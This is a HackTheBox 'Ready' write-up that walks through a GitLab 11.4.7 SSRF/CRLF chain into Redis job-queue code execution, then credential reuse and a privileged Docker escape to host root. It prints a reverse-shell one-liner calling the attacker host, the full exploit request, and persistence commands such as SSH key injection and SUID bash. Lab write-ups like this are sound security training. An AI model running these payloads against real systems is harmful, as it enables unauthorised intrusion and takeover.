HTB: Ready Writeup

Ready - HackTheBox Writeup

Machine Information

AttributeDetails
NameReady
OSLinux
DifficultyMedium
Points30
Release Date12 Dec 2020
IP Address10.10.10.220
Authorbertolis

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐☆☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐☆☆☆

Summary

Ready is a medium-difficulty Linux machine hosting a vulnerable GitLab Community Edition instance. The initial foothold is gained by exploiting a combination of SSRF (CVE-2018-19571) and CRLF injection (CVE-2018-19585) vulnerabilities in GitLab 11.4.7, allowing an attacker to chain Redis protocol smuggling with arbitrary Ruby code execution. This results in a reverse shell as the git user inside a Docker container. Lateral movement to root within the container is achieved by discovering a plaintext password in a backup configuration file. Finally, privilege escalation to the host root is accomplished by exploiting the container’s privileged mode to mount and access the host filesystem directly.

TL;DR: GitLab 11.4.7 SSRF+CRLF → Redis RCE → Docker container shell (git) → Credential reuse from backup config → Root in container → Privileged container escape → Host root access


Reconnaissance

Port Scanning

Terminal window
# Full TCP port scan with service detection
nmap -sC -sV -T4 -p- 10.10.10.220

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
5080/tcp open http nginx

The scan reveals two open ports:

  • SSH (22/tcp): OpenSSH 8.2p1 on Ubuntu
  • HTTP (5080/tcp): nginx web server

Service Enumeration

GitLab Instance (Port 5080)

Navigating to http://10.10.10.220:5080/ reveals a GitLab Community Edition login page. The service took approximately 90 seconds to become available (transitioning from HTTP 502 errors).

Key observations:

  • Self-registration is enabled
  • Navigating to /help reveals GitLab version 11.4.7
  • The version disclosure is critical for vulnerability research
5080/users/sign_in
# Register a new account through the web interface
# Click "Register" and create credentials

Vulnerability Assessment

GitLab version 11.4.7 is vulnerable to multiple critical issues:

  1. CVE-2018-19571: Server-Side Request Forgery (SSRF) via project import functionality
  2. CVE-2018-19585: CRLF injection in the same import feature

These vulnerabilities can be chained to:

  • Bypass SSRF protections using IPv6 notation
  • Inject Redis protocol commands via CRLF
  • Achieve remote code execution through GitLab’s Resque job queue

Initial Foothold

Exploitation Path

The attack leverages GitLab’s “Import project by URL” feature to smuggle Redis commands through an SSRF vulnerability, ultimately queuing a malicious Resque job that executes arbitrary Ruby code.

Step 1: Understanding the Vulnerability Chain

GitLab 11.4.7’s import functionality:

  1. Accepts a Git repository URL
  2. Performs insufficient validation on the protocol and destination
  3. Allows CRLF injection in the URL field
  4. Can be coerced into connecting to internal services (Redis on port 6379)

The Redis ASCII protocol allows us to inject commands via HTTP-like syntax.

Step 2: Preparing the Payload

Terminal window
# Create a reverse shell payload
echo 'bash -i >& /dev/tcp/10.10.14.X/9001 0>&1' | base64
# Result: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC5YLzkwMDEgMD4mMQo=

The payload is base64-encoded to avoid character encoding issues during HTTP transmission.

Step 3: Crafting the Redis Command Injection

The Redis commands exploit GitLab’s Resque job queue system:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open('| echo <BASE64_PAYLOAD> | base64 -d | bash').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

Why this works:

  • multi starts a Redis transaction
  • sadd adds a new queue to GitLab’s queue list
  • lpush enqueues a job containing our payload
  • The GitlabShellWorker class accepts class_eval for arbitrary Ruby execution
  • exec commits the transaction

Step 4: Bypassing SSRF Protections

GitLab’s SSRF protection checks for 127.0.0.1 and localhost, but IPv6 notation bypasses this:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/

This resolves to the loopback address while evading the blocklist.

Step 5: Managing Session State

A critical challenge encountered was GitLab’s CSRF protection rejecting requests due to clock skew. The solution involved manually managing the _gitlab_session cookie:

# Parse Set-Cookie from registration/login
# Resend the exact cookie value with subsequent requests
# Avoid relying on automatic cookie handling which may discard expired cookies

Step 6: Obtaining Required Parameters

Terminal window
# Get namespace_id via API
curl -H "PRIVATE-TOKEN: <your_token>" http://10.10.10.220:5080/api/v4/namespaces
# Extract your user's namespace_id from the response

Step 7: Sending the Malicious Import Request

Terminal window
# Start listener
nc -lvnp 9001

HTTP POST Request Structure:

POST /projects HTTP/1.1
Host: 10.10.10.220:5080
Content-Type: application/x-www-form-urlencoded
Cookie: _gitlab_session=<session_value>
utf8=%E2%9C%93&authenticity_token=<token>&project%5Bimport_url%5D=git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd+resque:gitlab:queues+system_hook_push
lpush+resque:gitlab:queue:system_hook_push+%22%7B%5C%22class%5C%22:%5C%22GitlabShellWorker%5C%22,%5C%22args%5C%22:[%5C%22class_eval%5C%22,%5C%22open(%5C%27|+echo+<BASE64>|+base64+-d+|+bash%27).read%5C%22],%5C%22retry%5C%22:3,%5C%22queue%5C%22:%5C%22system_hook_push%5C%22,%5C%22jid%5C%22:%5C%22ad52abc5641173e217eb2e52%5C%22,%5C%22created_at%5C%22:1513714403.8122594,%5C%22enqueued_at%5C%22:1513714403.8129568%7D%22
exec
exec
exec
&project%5Bci_cd_only%5D=false&project%5Bname%5D=pwned&project%5Bnamespace_id%5D=<YOUR_NAMESPACE>&project%5Bpath%5D=pwned&project%5Bvisibility_level%5D=0

Key details:

  • The import URL uses git:// protocol with IPv6 loopback and Redis port (6379)
  • CRLF injection (%0D%0A URL-encoded as newlines) allows Redis command insertion
  • URL encoding is applied to special characters in the JSON payload
  • If the request fails with 422, change project[name] and project[path] to unique values

Step 8: Catching the Shell

Terminal window
nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.X] from (UNKNOWN) [10.10.10.220] 43752
# Stabilize the shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Press Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Result: Shell access as git user inside the GitLab Docker container.

Terminal window
git@gitlab:~/gitlab-rails/working$ id
uid=998(git) gid=998(git) groups=998(git)

Step 9: Capturing User Flag

Terminal window
git@gitlab:~$ cat /home/dude/user.txt
<redacted>

Privilege Escalation

Lateral Movement: git → root (Container)

Step 1: Enumerating Backup Files

Terminal window
git@gitlab:~$ ls -la /opt/backup/
total 112
drwxr-xr-x 2 root root 4096 Apr 5 2022 .
drwxr-xr-x 1 root root 4096 Dec 1 2020 ..
-rw-r--r-- 1 root root 904 Apr 5 2022 docker-compose.yml
-rw-r--r-- 1 root root 15150 Apr 5 2022 gitlab-secrets.json
-rw-r--r-- 1 root root 81492 Apr 5 2022 gitlab.rb

The /opt/backup/ directory contains GitLab configuration backups with world-readable permissions — a critical misconfiguration.

Step 2: Extracting Credentials

Terminal window
git@gitlab:~$ grep -i password /opt/backup/gitlab.rb | grep -v '^#'
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"

Why this matters: GitLab configuration files often contain SMTP credentials, database passwords, and other secrets. The password wW59U!ZKMbG9+*#h is exposed in plaintext.

Step 3: Testing Credential Reuse

Terminal window
git@gitlab:~$ su root
Password: wW59U!ZKMbG9+*#h
root@gitlab:/var/opt/gitlab# id
uid=0(root) gid=0(root) groups=0(root)

Success: The SMTP password is reused for the container’s root account.


Container Escape: Docker Privileged Mode Exploitation

Step 1: Confirming Container Environment

Terminal window
root@gitlab:~# cat /proc/1/cgroup | grep docker
12:rdma:/
11:devices:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda
10:memory:/docker/a4b61b1d50c277c638fdd83ff7609cc4029aeeef09d501f4f20e360bc859ccda

The presence of /docker/ paths confirms we’re inside a container.

Step 2: Identifying Privileged Mode

Terminal window
root@gitlab:~# cat /opt/backup/docker-compose.yml | grep -A2 privileged
privileged: true
restart: unless-stopped

Critical finding: The container is running with privileged: true, which grants:

  • Access to all host devices
  • Capability to mount host filesystems
  • Near-complete breakout potential

Step 3: Listing Block Devices

Terminal window
root@gitlab:~# lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 10G 0 disk
├─sda1 8:1 0 1M 0 part
├─sda2 8:2 0 9.5G 0 part /var/log/gitlab
└─sda3 8:3 0 512M 0 part [SWAP]

Analysis:

  • sda2 is a 9.5GB partition
  • It’s already mounted at /var/log/gitlab inside the container
  • This is likely the host’s root filesystem

Step 4: Mounting the Host Filesystem

Terminal window
root@gitlab:~# mkdir /mnt/host
root@gitlab:~# mount /dev/sda2 /mnt/host
root@gitlab:~# ls -l /mnt/host
total 92
lrwxrwxrwx 1 root root 7 Apr 23 2020 bin -> usr/bin
drwxr-xr-x 3 root root 4096 Apr 5 2022 boot
drwxr-xr-x 5 root root 4096 Dec 4 2020 dev
drwxr-xr-x 102 root root 4096 Apr 5 2022 etc
drwxr-xr-x 3 root root 4096 Jul 7 2020 home
drwx------ 10 root root 4096 Mar 4 12:50 root
...

Success: The host root filesystem is now accessible at /mnt/host.

Step 5: Extracting the Root Flag

Terminal window
root@gitlab:~# cat /mnt/host/root/root.txt
<redacted>

Alternative methods for full host access:

Terminal window
# Method 1: SSH key injection
root@gitlab:~# ssh-keygen -t rsa -f /mnt/host/root/.ssh/id_rsa -N ""
root@gitlab:~# cp /mnt/host/root/.ssh/id_rsa.pub /mnt/host/root/.ssh/authorized_keys
root@gitlab:~# cat /mnt/host/root/.ssh/id_rsa
# Copy the private key and SSH from attacker machine
# Method 2: Chroot into host
root@gitlab:~# chroot /mnt/host /bin/bash
# Method 3: Add SUID to host binaries
root@gitlab:~# chmod u+s /mnt/host/bin/bash

Attack Chain Summary

Port Scan → GitLab 11.4.7 Discovery → Account Registration →
SSRF via Import URL (IPv6 bypass) → CRLF Injection (Redis smuggling) →
Resque Job Queue Poisoning → RCE as 'git' → Backup Config Enumeration →
Password Reuse (root in container) → Privileged Container Detection →
Host Disk Mount → Root Flag Extraction

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlHTTP requests and API interaction
ncReverse shell listener
base64Payload encoding
ssh-keygenSSH key generation for persistence
mountMounting host filesystem from container
lsblkIdentifying block devices

Key Learnings

Techniques Practiced

  • SSRF exploitation with protocol handler abuse (git://)
  • IPv6 address notation to bypass SSRF filters
  • CRLF injection to smuggle Redis protocol commands
  • Redis job queue poisoning for code execution
  • Session cookie management under clock skew conditions
  • Privileged container escape via host filesystem mounting
  • Credential reuse across service accounts

Lessons Learned

  1. Defense in depth matters: GitLab’s SSRF protection only checked IPv4 loopback addresses, allowing IPv6 bypass. Modern SSRF filters must validate all address families and protocol handlers.

  2. Backup files are high-value targets: The world-readable /opt/backup/gitlab.rb exposed credentials. Backup directories should have strict permissions (700/root ownership) and secrets should never be stored in plaintext.

  3. Privileged containers break isolation: Running containers with privileged: true grants near-complete host access. This flag should only be used when absolutely necessary, with compensating controls like AppArmor/SELinux profiles.

  4. Input validation is critical: CRLF injection enabled Redis command smuggling. All user inputs that interact with protocol-specific features (HTTP, Redis, LDAP, etc.) must be strictly validated and encoded.

  5. Version disclosure aids attackers: GitLab’s /help page revealed the exact version number, enabling targeted exploit research. Consider disabling version banners in production.

  6. Credential reuse amplifies impact: A single SMTP password led to root access in the container. Service accounts should use unique, randomly-generated credentials with minimum necessary privileges.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References